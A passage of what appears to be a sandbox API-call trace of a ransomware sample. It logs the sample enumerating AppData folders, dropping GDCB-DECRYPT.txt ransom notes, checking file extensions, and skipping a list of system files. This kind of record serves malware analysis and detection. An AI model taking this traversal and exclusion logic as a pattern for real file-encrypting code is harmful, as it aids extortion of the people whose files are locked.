(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned 62 [0135.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0135.575] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7980 [0135.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.575] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.575] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.575] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.575] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0135.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned 67 [0135.575] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.575] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.575] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt" [0135.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0135.575] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.575] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.575] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.575] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.575] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\GDCB-DECRYPT.txt") returned 79 [0135.575] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.576] GetLastError () returned 0x50 [0135.576] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.576] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned 62 [0135.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0135.576] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.576] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.576] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.576] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.576] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.576] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.576] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.576] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0135.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\" [0135.576] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.577] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.577] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned 68 [0135.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0135.577] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.577] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.577] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.577] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.577] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.577] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.577] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt" [0135.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0135.577] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.577] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.577] lstrcmpW (lpString1="Global.MPT", lpString2=".") returned 1 [0135.577] lstrcmpW (lpString1="Global.MPT", lpString2="..") returned 1 [0135.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0135.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0135.577] lstrcmpW (lpString1=".MPT", lpString2=".sql") returned -1 [0135.577] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.578] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.578] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.578] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\GDCB-DECRYPT.txt") returned 85 [0135.578] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.578] GetLastError () returned 0x50 [0135.578] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned 68 [0135.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0135.578] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7980 [0135.578] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.578] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.578] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.578] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.578] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt" [0135.578] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.579] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0135.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0135.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0135.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\GDCB-DECRYPT.txt") returned 84 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.579] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.579] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.579] lstrcmpW (lpString1="Global.MPT", lpString2=".") returned 1 [0135.579] lstrcmpW (lpString1="Global.MPT", lpString2="..") returned 1 [0135.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0135.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.579] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0135.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned 78 [0135.579] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.579] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.579] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.579] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.579] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.579] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt" [0135.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.580] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\GDCB-DECRYPT.txt") returned 78 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.580] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.580] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.580] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.580] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.580] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.580] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.580] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt" [0135.580] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.580] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0135.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\GDCB-DECRYPT.txt") returned 75 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.580] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.581] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.581] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.581] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.581] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.581] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.581] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.581] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.581] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.581] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0135.581] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0135.581] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0135.581] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\" [0135.581] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.581] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.581] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.581] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.581] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.581] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.581] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned 56 [0135.581] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*" [0135.581] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.582] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.582] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.582] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0135.582] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0135.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0135.582] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 67 [0135.582] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.582] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.582] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt" [0135.582] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\GDCB-DECRYPT.txt") returned 72 [0135.582] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.582] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.582] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.582] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.582] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\GDCB-DECRYPT.txt") returned 73 [0135.582] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.583] GetLastError () returned 0x50 [0135.583] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.583] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned 56 [0135.583] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*" [0135.583] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7780 [0135.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.583] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.583] 